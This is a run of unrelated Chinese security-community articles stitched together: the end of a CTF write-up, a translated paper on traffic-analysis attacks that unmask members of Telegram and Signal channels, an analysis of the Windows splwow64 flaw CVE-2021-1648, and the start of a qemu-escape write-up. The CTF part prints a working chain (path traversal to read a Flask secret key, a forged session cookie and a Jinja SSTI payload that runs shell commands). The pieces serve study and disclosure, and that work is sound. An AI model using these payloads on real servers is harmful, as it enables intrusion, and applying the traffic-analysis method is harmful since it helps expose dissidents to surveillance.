n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code
template = None
if session['n1code'] is not None:
'''
这里存在SSTI
'''
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
session['n1code'] = None
return render_template_string(template)
所以请求
<http://192.168.10.22:5000/article?name=../../../../../proc/self/cwd/key.py>
获取appkey
#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'
伪造cookie为SSTI的payload获取flag.
{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}
得到cookie的值为
eyJuMWNvZGUiOm51bGx9.YB5YLg.zvCvxG173uppSx0eYLBbzVdYKSk
安装Flask Session Cookie Decoder/Encoder
git clone <https://github.com/noraj/flask-session-cookie-manager.git> && cd
flask-session-cookie-manager
Decode
python3 flask_session_cookie_manager3.py decode -c
'eyJuMWNvZGUiOm51bGx9.YB5YLg.zvCvxG173uppSx0eYLBbzVdYKSk' -s
'Drmhze6EPcv0fN_81Bj-nA'
得到{'n1code': None}
如图所示方式进行加密
python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
得到加密后的cookie：
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.Ev_wtA.71mFW-T5axswqE7F-u3jPywUWR4
修改session
获得flag：n1book{afr_3_solved}
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 对安全即时通讯软件的流量分析攻击（上）
|
##### 译文声明
本文是翻译文章，文章原作者 Alireza Bahramali, Amir Houmansadr, Ramin Soltani, Dennis
Goeckel, Don Towsley，文章来源：arxiv.org
原文地址：<https://arxiv.org/abs/2005.00508v1>
译文仅供参考，具体内容表达以及含义原文为准。
近年来，像Telegram，Signal和WhatsApp这样的即时消息（IM）应用程序变得非常流行。此类即时消息服务一直是被持续监视和审查的目标，因为这些服务是社会和政治敏感主题的公共和私人沟通频道的所在地。为了保护客户，流行的IM服务部署了最先进的加密机制。在本文中表明，尽管使用了高级加密，但流行的IM应用程序会将其客户端的敏感信息泄漏给仅监视其加密IM流量的攻击者，而无需利用IM应用程序的任何软件漏洞。具体而言，设计了流量分析攻击，使攻击者能够以较高的准确性识别管理员以及目标IM频道（例如论坛）的成员。研究表明，此类服务的用户面临着巨大的现实威胁。
## 0x01 Introduction
近年来，像Telegram，Signal和WhatsApp这样的即时消息（IM）应用程序已变得非常流行。最近的研究估计，全世界有超过20亿人在使用移动IM应用程序。
IM服务使用户能够形成私人和公共社交团体，并交换各种类型的消息，包括文本消息，图像，视频和音频文件。特别是，IM应用程序被广泛用于交换具有政治和社会敏感性的内容。结果，政府和公司越来越多地监视通过流行的IM服务进行的通信。
IM服务的一个显着例子是Telegram，在全球拥有2亿用户，其中很大一部分用户来自伊朗和俄罗斯等媒体法规严格的国家/地区。特别是，Telegram在伊朗受欢迎以至于据估计它消耗了伊朗60％以上的互联网带宽。因此，伊朗官员采取了各种措施来监视和阻止Telegram：从请求Telegram在伊朗境内托管其某些服务器以启用监视，到请求Telegram消除有争议的政治和非政治渠道。最终，由于Telegram的不遵守规定，伊朗于2018年4月完全封锁了Telegram。尽管如此，统计数据表明，通过各种VPN连接到Telegram的伊朗用户仅略有减少。俄罗斯Telegram也被封锁，因为电报运营商没有将其加密密钥交给俄罗斯官员进行监视。
**一个基本漏洞：**
流行的IM应用程序（例如Telegram，WhatsApp和Signal）部署加密（端对端或端对端）以保护用户通信。将此类服务称为安全IM（SIM）应用程序。在本文中，演示了尽管使用了高级加密，但流行的IM应用程序仍将有关其客户活动的敏感信息泄漏给监视方。具体而言，证明监视方能够仅使用低成本的流量分析技术就能以很高的准确性识别目标IM通信（例如，政治敏感的IM频道）的成员和管理员。请注意，攻击不是由于安全漏洞或错误的软件实现引起的；尽管很重要，但这种安全漏洞很少，一旦被IM提供商发现，便会立即修复。相反，攻击仅通过监视IM用户的加密IM流量，并假设底层IM软件是完全安全的，即可进行监视。造成攻击的主要因素是，由于混淆对此类服务的可用性和性能造成影响，因此主要IM运营商并未部署任何机制来混淆流量特征（例如，数据包时间和大小）。因此，认为攻击在主要的即时IM服务中显示出一个基本漏洞，并且正如将演示的那样，它们可以对所有主要的IM服务起作用。
贡献：为SIM卡通信设计流量分析攻击算法；攻击的目的是确定目标SIM卡通信的管理员和/或成员。受到攻击的原因是，广泛使用的SIM服务没有采用任何机制来模糊其通信的统计特征。
从建立IM流量特征的统计模型开始，这样的模型对于寻找对SIM服务的有效流量分析攻击至关重要。为了对IM通信建模，加入了1000多个公共Telegram频道并记录了它们的通信，基于此导出了IM流量功能的统计模型。使用SIM模型来得出有关流量分析算法有效性的理论界限；还使用统计模型生成任意数量的综合SIM频道，以增强经验评估的可信度。
基于用于IM通信的统计模型，使用假设检验来系统地设计有效的流量分析攻击算法。具体来说，设计了两种流量分析攻击算法；第一个算法（称为event-based的相关检测器）依赖于为SIM卡通信推导的统计模型，以提供用户与频道的最佳匹配。第二种算法（称为shape-based的算法）将SIM卡流量的形状关联起来，以使用户与目标频道匹配。与基于事件的算法相比，基于形状的算法速度较慢，但提供了更高的准确率检测性能。在实践中，攻击者可以将这两种算法串联起来，以优化计算成本（和可扩展性）与检测性能之间的关系。请注意，正如通过实验证明的那样，统计检测器的性能优于基于IM训练的基于深度学习的检测器。这是因为，深度学习流量分类器仅在统计模型变得不可靠的具有非平稳噪声条件（例如Tor）的网络应用中胜过统计分类器。
对实时和合成SIM卡流量进行了广泛的实验，以评估攻击的性能。证明了算法在公开目标SIM卡通信的参与者方面具有极高的准确性。特别是，证明基于形状的检测器仅需15分钟的Telegram流量就足以识别目标SIM卡频道的管理员，其准确度为94％，误报率为10^(-3)，而攻击者可以减少误报通过观察一个小时的流量将其提升为5×10^(-5)（攻击者可以分层进行此操作，例如，通过监视使用15分钟流量标记的用户以获取更长的流量间隔）。
## 0x02 Secure Instant Messaging (SIM) Applications
将安全IM（SIM）服务定义为满足以下两个属性的即时消息传递服务：
（1）它在其用户通信（端对端或端对端）上部署了强大的加密功能，
（2）它不受攻击者的控制或操作。
虽然攻击也适用于非安全IM应用程序，但攻击者可以使用其他技术来破坏非安全IM服务的隐私。例如，如果即时通讯服务的运营商与监视者全面合作，即时通讯提供商可以让攻击者识别目标用户而无需流量分析机制。同样，无需进行复杂的流量分析攻击就可以轻松窃听具有弱加密的IM服务。下表概述了一些最受欢迎的SIM服务。
### A. SIM服务如何运作
体系结构：如上表所示，所有主要的IM服务都是集中式的。因此，此类服务中的所有用户通信都是通过IM提供者公司托管的服务器（例如Telegram
Messenger LLP）进行交换的（请注意，一些不受欢迎的服务使用对等服务-对等架构，例如FireChat，Ring和Briar）。每个IM服务都有一个用于身份验证和密钥交换的服务器。数据库服务器存储消息内容和其他用户信息（可能使用客户端密钥加密）。一些IM使用Content
Delivery
Network（CDN）来运行其数据库，以提高服务质量并抵御攻击。现有的IM服务使用各种消息传递协议进行用户通信，包括Signal，Matrix，MTProto
和 Off-the-Record。这些协议的每一个都涉及几个阶段，包括身份验证，密钥交换，消息传输，重新密钥和MAC密钥发布。
流行的IM服务通过使用户流量通过其服务器来中介所有用户通信。这样的集中式体系结构允许IM提供商提供高质量的服务，并解决关键问题，例如与脱机客户端和NAT
/防火墙后面的客户端进行连接。但是，由于IM服务器参与所有用户通信，因此这给用户带来了不同的隐私威胁。某些IM服务会部署端到端加密来减轻这种情况，如下所示。
**安全功能：**
IM服务使用标准的身份验证机制（例如授权密钥和公共密钥证书）来对IM服务器和对等方进行身份验证。而且，他们使用标准技术来确保消息的完整性。所有主要的IM服务都对用户通信进行加密以保护机密性。一些IM提供程序还在用户通信上部署了端到端加密。这样可以防止IM操作员看到通讯内容。但是，他们仍然可以看到通信元数据，例如，谁在与谁聊天，何时与谁聊天。
WhatsApp，Skype，Line以及Telegram和Facebook
Messenger提供端到端加密，而WeChat，Snapchat和BlackBerry Messenger不提供。
此外，包括WhatsApp，Viber，Signal和Facebook
Messenger在内的几家主要的IM提供商通过使用短期会话密钥进行用户通信，为保密提供了完美的方法。请参考Johansen等。
### B. IM服务的先前安全性研究
**元数据泄漏：** Coull和Dyer[1]率先将流量分析应用于消息传递应用程序。它们演示了流量分析攻击，这些攻击可以推断目标Apple
iMessage用户的各种元数据，特别是操作系统版本，IM操作的类型以及某种程度上的对话语言。最近，Park和Kim[2]对韩国的KakaoTalk
IM服务进行了流量分析，以使用基本的分类算法识别用户的在线活动本文工作与这些工作不同之处在于，探测器的设计依赖于IM通信的理论基础和精细建模。此外，认为攻击能够揭示比以前的工作所识别的更为敏感的IM元数据。演示了针对几种IM服务的攻击的适用性，并设计和评估了量身定制的对策。
**安全漏洞：**
Johansen等调查了SIM卡协议的不同实现，例如Signal，WhatsApp和Threema，并评估了它们的安全性和可用性。他们得出的结论是，所研究的应用程序都不是绝对可靠的。
Unger等[3]对即时通讯协议进行了全面的研究，重点是它们在信任建立，对话安全和传输隐私方面的安全性。此外，Aggarwal等[4]研究了在广泛使用的消息传递应用程序中加密的实现。
此外，已经对消息传递应用程序进行了各种身份枚举攻击。特别是，由于某些IM服务使用SMS文本消息来激活新设备，因此对抗性电话公司可以启动和拦截此类授权码，以识别用户或访问其帐户。
Telegram承诺将通过更新来解决此问题，该更新将允许用户隐藏其电话号码。
Schliep等[5]评估针对信号服务器的信号协议的安全性。它们确定了漏洞，这些漏洞使Signal服务器可以学习附件的内容，重新排序和放置消息以及从群组对话中添加/删除参与者。请注意，他们的研究对象与本文攻击者完全不同，即他们的攻击者是受感染/恶意的信号服务器，而在本文情况下，攻击者是能够窃听加密IM流量的任何第三方。而且，它们的攻击仅针对Signal，而本文攻击则适用于所有主要的IM服务，因为它们依赖于IM服务的基本通信行为。
**通信隐私：**
流行的SIM卡服务具有集中性，因此容易受到各种隐私问题的影响。首先，所有用户通信（包括组通信和一对一通信）都是在SIM卡提供商运行的服务器的帮助下建立的；因此，SIM提供商可以访问所有通信的元数据（即，与谁通话的人）以及频道所有权和成员关系。最近的工作建议使用各种加密技术，例如私有集相交，以保护隐私不受中央运营商的影响，例如，用于联系人发现。其次，即使IM服务提供商不是恶意的，其服务器也可能受到恶意攻击者的攻击或受到政府的传唤，因此使客户端通信元数据面临风险。
在传统的SIM服务中，用户通信是端到端加密的，即在客户端和SIM服务器之间进行加密。在此类服务中，SIM提供商不仅可以看到用户的通信元数据，还可以看到他们的通信内容。最近，Signal和WhatsApp等主要的SIM提供程序已经开始支持端到端加密，因此可以保护SIM提供程序的通信内容。尽管某些SIM服务的差强人意的实现方式导致了各种安全漏洞和元数据泄漏年龄威胁，但尽管它们使用了端到端加密，例如通过Telegram中的开/关通知和最近的WhatsApp漏洞提供对黑客的远程访问。
**审查：**
流行的SIM服务的集中式体系结构使其审查变得微不足道：审查员可以轻松地将少数IP地址或DNS记录列入黑名单，以阻止与目标SIM服务的所有通信。取消审查的SIM卡服务的一种直接对策是使用标准的规避系统，例如VPN和Tor。可选地，主要的SIM服务允许使用规避代理来避免阻塞，例如，在伊朗和俄罗斯当局进行审查后，该功能已被内置在Telegram软件的最新版本中。
## 0x03 Attack & Threat Model
在本文中，演示了对IM服务的基本攻击：适用于所有主要的IM服务，而不是由于错误的软件实现（可以通过软件更新来修复）引起的，攻击是由仅执行流量分析的攻击者执行的。在这种情况下，攻击者无需破坏或胁迫SIM提供程序，也无需完全阻止目标IM服务。相反，攻击者执行流量分析以标识目标IM通信的参与者，以便惩罚所标识的IM参与者或选择性地阻止目标通信。尤其是，攻击者可以使用流量分析来识别有争议的政治或社交IM渠道的管理员，并迫使他们关闭其频道。或者，攻击者可以使用流量分析攻击来识别有争议的IM频道的成员，从而有选择地破坏对目标频道的访问。
### A.参与者介绍
攻击者是监视组织，例如由情报机构，目标是识别目标IM对话的成员或管理员（所有者）（的IP地址）。
目标IM对话可以是关于政治或社会敏感主题的公共IM频道（例如聊天室），也可以是目标用户（例如持不同政见者和新闻工作者）之间的私人IM对话。
为了使攻击者能够进行攻击，他需要例如通过窃听被监视用户的ISP来拦截被监视IM用户的（加密）网络流量。
### B.威胁模型
假定托管IM服务是第二部分中定义的安全IM（SIM）服务。因此，攻击者在执行攻击时不会利用目标SIM服务的任何安全漏洞。例如，SIM系统不会将其客户端的IP地址（或其他敏感的元数据）泄漏给攻击者。此外，假定IM客户端和IM服务器之间的所有流量都将通过强加密进行加密。最后，SIM服务的运营商在确定目标成员时不与攻击者合作。
### C.如何进行攻击
上图说明了攻击的设置。假设攻击者旨在标识特定IM渠道C的成员/管理员。
**攻击者的任务：** 对于任何目标频道C，攻击者都需要获取有关该频道流量的一些地面事实。这可以通过三种方式完成：
（1）如果C是公开（公开）频道，则攻击者加入该频道（作为成员）并记录在C上发送的消息及其元数据（例如消息的时间和大小）。
（2）攻击者已加入C，并且能够向C发布消息。如果C是一个封闭的组，可以使每个成员都具有发布消息的能力，则可能发生这种情况，或者这可能是因为攻击者已经获得了C的管理员角色（例如，监视者已在政治敏感主题上创建了一个频道以识别目标记者，或者攻击者已获得敏感频道的所有者并滥用了其帐户）。在这种情况下，不仅攻击者可以记录发布到C的消息，而且他可以以自己想要的（明显）流量模式将自己的消息发布到C。
（3）攻击者无法加入C作为成员/管理员，但他已经确定C的成员/管理员之一（的IP地址）。攻击者窃听所识别出的（加密）网络流量成员并记录所标识成员的流量模式。
**攻击者的窃听：**
攻击者监视IM用户的（加密）网络流量，以识别目标IM频道C的成员/管理员（的IP地址）。这可以通过攻击者窃听ISP或IXP的网络流量来执行。可替代地，也许可以在获得窃听令之后，攻击者窃听特定个人（例如怀疑的活动家）的网络流量。
**攻击者做出决策：** 攻击者使用一种检测算法将窃听用户的流量模式与目标渠道C的真实流量模式进行匹配。
### D.相关的流量分析攻击
先前的工作研究了不同环境下的各种流量分析攻击：
流相关性（Flow correlation
），攻击者尝试通过关联混淆的网络流的流量特性（即数据包的时间和大小）来链接混淆的网络流。流量相关性已作为攻击Tor等匿名系统的方式进行了特别研究，例如Tor：攻击者可以链接Tor连接的入口和出口段（例如，由恶意的Tor
guard和出口中继观察到）关联入口和出口段的流量特征。最近，Nasr等人
[6]引入了一种基于深度学习的技术，称为DeepCorr，该技术可学习一种与Tor流匹配的相关函数，并在流相关性方面优于以前的统计技术。
流水印（Flow watermarking
）是上述流相关攻击的动态版本。在流水印中，攻击者通过对流量特征施加轻微干扰，例如通过延迟数据包，将无法感知的信号编码为交通模式。与常规（被动）流相关技术相比，流水印具有更高的抗噪声能力，但需要实时修改网络流量，并且容易受到检测攻击。
在网站指纹（WF，Website
fifingerprinting）中，攻击者拦截某些受监视用户的网络连接，并尝试将拦截的连接模式与一组目标网页进行匹配。这与流量相关性不同，因为流量相关性会拦截目标连接的两端。
WF被专门研究为对Tor的攻击。现有的WF技术利用各种机器学习算法，例如k-NN，SVM和深度神经网络来设计分类器，以将监视的连接与目标网页进行匹配。
交叉攻击（Intersection
Attacks）试图通过匹配用户的活动/不活动时间段来危害匿名通信。例如，Kesdogan等[7]将匿名系统建模为抽象的阈值混合，并提出了公开攻击，其目的是为任何目标发送者学习潜在的接收者。
Danezis等[8]通过提出攻击的统计版本，使攻击在计算上更加实用。
侧信道攻击另一类流量分析攻击旨在从互联网服务的加密网络流量中泄漏敏感信息。例如，Chang等[9]从加密的Skype流量推断语音活动，Chen等
[10]演示了在线服务如何泄漏敏感的客户活动，Schuster等人 [11]识别加密的视频流。
本文流量分析方向：本文提出的攻击在本质上与流量相关技术的场景最接近。与流量相关性设置类似，在场景中，攻击者拦截实时目标流（例如，通过加入有争议的IM频道），并尝试将其与网络其他部分中监视的流量的流量模式进行匹配（以便能够以标识目标渠道的成员或管理员的IP地址）。但是，由于IM场景中的流量模型和通信噪声完全不同，因此不能简单地将现有的流量相关技术应用于IM场景。因此，设计了针对IM应用程序特定场景量身定制的流相关算法。为此，首先对IM服务中的流量和噪声行为进行建模，然后在此基础上针对特定场景设计量身定制的流量相关算法。
请注意，可以选择使用交叉攻击文献中的技术来设计IM服务的流量分析攻击。但是，流量相关比交叉攻击要强大得多，因为流量相关不仅利用了用户的在线/离线行为，还利用了用户在线时的通信方式。同样，典型的IM客户端往往会在很长的时间间隔内保持在线。因此与基于流相关的攻击相比，期望基于相交的攻击的可靠性大大降低（或需要很长时间的观察才能达到可比的可靠性）。
## 0x04 Characterizing IM Communications
首先描述IM流量并为其推导统计模型。将使用模型找到设计的攻击算法的分析界限，以及生成将在某些实验中使用的综合IM流量。
### A.主要IM消息
IM服务允许其用户发送不同类型的消息，最常见的是文本，图像，视频，文件和音频消息。 IM消息通过以下主要通信形式之一在用户之间进行通信：
•直接消息是IM用户之间的一对一通信。如前所述，流行的IM服务是集中的，因此所有直接消息都通过IM提供程序的服务器中继，并且除非部署了端到端加密，否则服务器可以看到通信内容。
•专用（封闭）组通信是在多个用户之间进行的通信。分组时，每个成员都可以发布消息并阅读其他成员发布的消息。每个组都有创建该组的管理员成员，并具有管理用户和消息的能力。用户需要邀请才能加入封闭的小组。
•公共（开放）组通信，也称为渠道，是一种广播形式的通信，其中一个或多个管理员可以发布消息，而成员只能阅读这些帖子。用户无需邀请即可加入频道。
请注意，某些IM服务提供了其他形式的通信，例如状态消息，与工作中讨论的攻击无关。
### B.数据收集
在本文中，在Telegram上收集了大量的IM数据。选择Telegram的原因有两个：首先，Telegram拥有大量公共频道，可以加入这些公共频道来收集实际的IM流量。这与大多数团体通信都是封闭/专用的其他流行IM服务不同。选择Telegram进行数据收集的第二个原因是，Telegram一直是最近尝试审查和监视的焦点，正如针对其他消息传递服务所演示的，分析和攻击绝非特定于Telegram。
使用Telegram的API来收集1,000个具有不同消息速率的随机信道的通信，每个消息信道持续24小时。对于每个收集的Telegram消息，提取发送过来的频道ID，时间戳，消息类型（文本，图片，视频，音频或文件）以及消息大小。Telegram用户每天可以加入的新频道数量限制为50个。因此会在几天内使用多个电报帐户进行数据收集（还请注意，每个电报帐户都必须与实际的手机号码绑定，以限制一个人可以创建的帐户数量）。
尽管选择Telegram来收集SIM卡流量，但注意到攻击算法在类似WhatsApp和Signal的其他SIM卡上的执行效果相似。这是因为这些服务均未实现流量混淆，因此，不同IM之间的流量形状相似。在下图中对此进行了说明，其中相同的消息流是通过四个不同的SIM服务发送的。可以看出，相同的消息会在不同的IM服务之间产生相似的流量模式。
### C.IM通信建模
基于收集到的IM流量得出IM通信的统计模型，对IM流量的两个关键特征建模：消息间延迟（IMD）和消息大小。还对IM流量的通信延迟进行建模，使用最大似然估计（MLE）拟合每个特征的最佳概率分布。
**消息间延迟（IMD）：**
IMD功能是IM通信中连续IM消息之间的时间延迟。在模型中，合并使用非常小的IMD发送的消息（特别是，消息之间的间隔小于阈值te秒）。之所以这样做，是因为此类极其接近的消息在加密的IM流量中创建了一个合并的流量突发，该流量无法被流量分析攻击者分开。当管理员从另一组转发一批IM消息时，此类关闭消息（不常出现）出现，还过滤掉了很长的与深夜不活动时间相对应的IMD。
证明了使用MLE算法可以将IMD的概率密度函数紧密地拟合为指数分布。上图显示了200个IM频道的IMD的概率密度函数，每天的消息速率为130条消息。将IMD的指数行为解释为是由于以下事实：消息（或批消息）是在频道中独立发送的（请注意，对于交互式一对一聊天，这将有所不同）。另外认为IMD与消息的类型和大小无关，因为在实践中，消息的发送时间与其类型或大小之间没有关联。
**消息大小：**
上表显示了收集的IM消息中五种主要消息类型的大小统计信息和频率。使用这些经验统计数据来创建如下图所示的五状态马尔可夫链，以对IM通信流中发送的消息的大小进行建模。对于所有频道的聚集以及速率相似的频道组，获得了此马尔可夫模型的经验转移概率矩阵。可以看到具有不同每日消息速率的IM频道的过渡矩阵略有变化。
最后，下图显示了不同消息类型的归一化消息大小的互补累积密度函数（CCDF）（大小由每个类别的最大消息大小归一化），观察到不同的消息类型具有不同的消息大小分布。
**通信延迟：**
IM消息的传输延迟有两个原因：网络延迟和IM服务器的处理延迟。为了衡量此类延迟，使用Telegram的API从500个频道中收集了IM流量，每个频道持续一小时（因此，相当于500小时的IM流量）。然后设置了两个IM客户端，并在两个客户端之间发送收集的IM流量，以测量发生的通信延迟。使用MLE发现过渡延迟最适合拉普拉斯分布fµ,b(x)，其中µ是平均值，2b^2是延迟的方差。由于网络延迟不能为负，因此仅考虑拉普拉斯分布的正部分。下图显示了数据包延迟相对于最佳Laplace分布的分位数（Q-Q）图：
### D.综合SIM流量
可以使用上述经验模型来创建综合IM通信。合成IM通信跟踪由具有特定大小，时间和消息类型的IM消息组成。这样的综合流量能够使用比在线收集的流量更多的流量样本来验证实验结果。
算法的输入是λ，即要合成的频道的消息率（每天），T是合成频道的长度。首先，该算法使用IMD的经验分布创建一系列IM消息时序。然后，算法将Markov模型用于消息类型，以便为序列中的每个消息分配类型。最后，对于每条消息，算法都使用相应消息类型的大小的经验分布来找到其大小。该算法的输出是一系列IM消息，其中每个消息都有一个时间戳，一个大小和一个消息类型。
由于流量合成算法使用样本IM跟踪来生成合成IM流量模式，因此通过增加其训练数据集的大小可以提高其合成流量的质量。或者，可以训练一个生成对抗网络以产生合成IM跟踪，将其留给以后的工作。
## 0x05 Conclusion
本文引入了流量分析攻击，可通过安全IM服务可靠地识别参与敏感通信的用户。要发起攻击，攻击者不需要与IM提供商合作，也不需要利用目标IM服务的任何安全漏洞。通过分析来自大量实际IM频道的IM流量，建立了用于常规IM通讯的统计模型。
在下一篇文章中对Telegram，WhatsApp和Signal的流行IM服务进行了广泛的实验，以证明攻击在野有效。同时研究了针对攻击的潜在对策，设计并部署了IMProxy，这是一个开源的，公开可用的对策系统。
IMProxy可用于所有主要的IM服务，而无需IM提供商的任何支持。
## Reference
[1]S. E. Coull and K. P. Dyer, “Traffic Analysis of Encrypted Messaging
Services: Apple iMessage and Beyond,” SIGCOMM CCR, 2014
[2]K. Park and H. Kim, “Encryption is Not Enough: Inferring User Activities on
KakaoTalk with Traffic Analysis,” in WISA, 2015.
[3]N. Unger, S. Dechand, J. Bonneau, S. Fahl, H. Perl, I. Goldberg, and M.
Smith, “SoK: Secure Messaging,” in IEEE S&P, 2015.
[4]P. K. Aggarwal, P. Grover, and L. Ahuja, “Security Aspect in Instant Mobile
Messaging Applications,” in RAETCS, 2018.
[5]M. Schliep, I. Kariniemi, and N. Hopper, “Is Bob Sending Mixed Signals?” in
WPES, 2017.
[6]M. Nasr, A. Bahramali, and A. Houmansadr, “DeepCorr: Strong Flow
Correlation Attacks on Tor Using Deep Learning,” in CCS, 2018.
[7]D. Kedogan, D. Agrawal, and S. Penz, “Limits of anonymity in open
environments,” in Information Hiding, 2002.
[8]G. Danezis, “Statistical disclosure attacks,” in IFIP SEC, 2003.
[9]Y.-C. Chang, K.-T. Chen, C.-C. Wu, and C.-L. Lei, “Inferring speech
activity from encrypted Skype traffic,” in GLOBECOM, 2008.
[10]S. Chen, R. Wang, X. Wang, and K. Zhang, “Side-channel leaks in web
applications: A reality today, a challenge tomorrow,” in IEEE S&P, 2010.
[11]R. Schuster, V. Shmatikov, and E. Tromer, “Beauty and the Burst: Remote
Identification of Encrypted Video Streams,” in USENIX Security,2017. | 社区文章 |
# CVE-2021-1648：Windows 10 splwow64权限提升分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，作者分析了微软1月补丁日修复的一个漏洞CVE-2021-1648，这是一个可以在splwow64进程空间进行任意地址读写的漏洞。由于splwow64是一个普通权限的进程且splwow64在IE浏览器的白名单目录里，因此这个漏洞可以用于提权低权限的IE浏览器渲染引擎进程从而绕过IE浏览器的沙箱。这篇文章主要介绍一下splwow64的机制和CVE-2021-1648的成因。
环境：Windows10 20H2 2020-12补丁
## splwow64机制
wow64是微软为了在64bit系统兼容运行32bit程序的一个组件，具体来说，在64bit程序调用32bit的CreateDC
Windows会用splwow64.exe处理这个调用，64bit程序与splwow64.exe使用lpc进行通信。
splwow64在splwow64!GDIThunkingVIALPCThread里调用NtCreatePort开启处理信息的端口，在这里我们可以计算得到调用NtSecureConnectPort与splwow64通信的端口名称
我们可以从xp
sp1代码\NT\base\ntos\lpc\lpcconn.c中NtSecureConnectPort的注释中得到一些lpc通信机制的信息，这里摘抄部分注释如下
1、NtSecureConnectPort通过PortName参数连接server端口，PortName必须与NtCreatePort指定的一致
2、server端通过NtListenPort接收请求，client端在server端接收处理请求、返回NtCompleteConnectPort执行结果前阻塞
3、server在接受请求后返回给client端一个参数PortHandle，PortHandle与名称无关与client进程有关。client使用PortHandle调用NtRequestWaitReplyPort从server端接收/发送信息
splwow64在splwow64!TLPCMgr::ProcessRequest处理接收的消息，这里过滤了传入消息的长度，只处理DataSize=0x20长度的消息，
并将某些类型合法消息的[0x30],[0x40],[0x38]作为参数传递给Gdi32full!GdiPrinterThunk，这里传递的参数都是调用者可控的。
## 漏洞分析
CVE-2021-1648出现在0x6d消息的处理过程中，CVE-2021-1648是在CVE-2020-0986补丁的基础上出现的，CVE-2020-0986的补丁在gdi32full!GdiPrinterThunk里主要加了两个缓解FindDriverForCookie、FindPrinterHandle和UMPDPointerFromOffset、UMPDStringPointerFromOffset，由于Gdi32full!GdiPrinterThunk传入的参数可控，这两个缓解实际上都是可以绕过的。
#### FindDriverForCookie、FindPrinterHandle绕过
Gdi32full!FindDriverForCookie的功能是根据传入的值a1，从一个全局变量gdi32full+EABA0里遍历得到偏移[7]的位置为a1的地址并返回。
Gdi32full!FindPrinterHandle的功能是根据传入的参数a1（地址值）、a2、a3，从a1偏移0x40的位置遍历，返回该地址偏移2*4=a2且3*4=a3的偏移值。
这两处缓解可以通过0x6a消息调用一次gdi32full!bAddPrinterHandle来绕过，gdi32full!bAddPrinterHandle调用时参数如下，其中第二、三个参数是调用者可控的。
gdi32full!bAddPrinterHandle的功能是把传入的a2、a3写入到global_heap偏移2*4、3*4的位置。需要注意的是这里
_(QWORD\_
)(global_heap+0x40)的位置实际上和上文Gdi32full!FindPrinterHandle中*(a1+0x40)相同，
再看一下0x6d消息是如何调用FindPrinterHandle的，这里的参数二、三是我们可控的，这样在gdi32full!bAddPrinterHandle调用中
_(QWORD\_
)(global_heap+0x40)写入的内容和gdi32full!FindPrinterHandle中要寻找的内容位置相同且都可控，我们就可以绕过gdi32full!FindPrinterHandle这个检查。
### UMPDPointerFromOffset、UMPDStringPointerFromOffset绕过
CVE-2020-0986补丁加的另一个缓解是检查指针是否在32bit的范围，
这个缓解可以绕过的原因是splwow64.exe与32bit兼容，所以splwow64中堆栈地址都是32bit范围内的，由于lpc通信过程中server端会开辟内存并拷贝client端传入的消息，我们构造0x6d畸形请求，
LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
即发送消息的地址设置为lpc server端的堆地址即可绕过这一缓解。
splwow64中执行server端开辟内存拷贝的过程在splwow64!TLPCMgr::ProcessRequest
### 任意地址读写
绕过了上述两个缓解，splwow64会调用一个src可控、dst可控的memcpy，由于这里memcpy的src和dst没有检查范围，我们可以通过修改src读dst的内容进行任意地址读，修改dst为目标地址、修改src为目标内容进行任意地址写。
## 总结
这里介绍了splwow64的一些机制并分析了CVE-2021-1648的成因，重点分析了微软针对CVE-2020-0986补丁所加的两个缓解机制的绕过，希望读者读完能有所收获。
## 参考
<https://bugs.chromium.org/p/project-zero/issues/detail?id=2096>
<https://whereisk0shl.top/post/the_story_of_cve_2021_1648> | 社区文章 |
这题是qemu逃逸是一道堆题，实际环境的堆题还是和普通的pwn题有一定区别的，同时这题还是把符号去掉了，增加了逆向的难度。
## 描述
在官方的[描述](https://github.com/o-o-overflow/chall-ec-3/tree/de0e64563fc9890ce81bfe5fe107afb107d719b7)中，还是逃逸读flag。
there's a vulnerable PCI device in the qemu binary. players have to write a kernel driver for the ubuntu kernel that is there and then they have to exploit the qemu to read flag off the fsystem.
[文件](https://github.com/ray-cp/vm-escape/blob/master/qemu-escape/DefconQuals-2018-EC3/EC3.tar)下载下来以后，文件结构如下：
$ ll
-rw-r--r-- 1 raycp raycp 256K May 10 2018 bios-256k.bin
-rw-r--r-- 1 raycp raycp 235K May 10 2018 efi-e1000.rom
-rw-rw-r-- 1 raycp raycp 1.8M Aug 13 19:10 initramfs-busybox-x86_64.cpio.gz
-rw-r--r-- 1 raycp raycp 9.0K May 10 2018 kvmvapic.bin
-rw-r--r-- 1 raycp raycp 1.5K May 10 2018 linuxboot_dma.bin
-rwxr-xr-x 1 raycp raycp 13M May 11 2018 qemu-system-x86_64
-rwxr-xr-x 1 raycp raycp 170 May 10 2018 run.sh
-rw-r--r-- 1 raycp raycp 38K May 10 2018 vgabios-stdvga.bin
-rw------- 1 raycp raycp 6.9M May 10 2018 vmlinuz-4.4.0-119-generic
`run.sh`里面的内容是：
#!/bin/sh
./qemu-system-x86_64 -initrd ./initramfs-busybox-x86_64.cpio.gz -nographic -kernel ./vmlinuz-4.4.0-119-generic -append "priority=low console=ttyS0" -device ooo
通过`-device ooo`知道了目标应该主要是`ooo`这个pci设备。
$ file qemu-system-x86_64
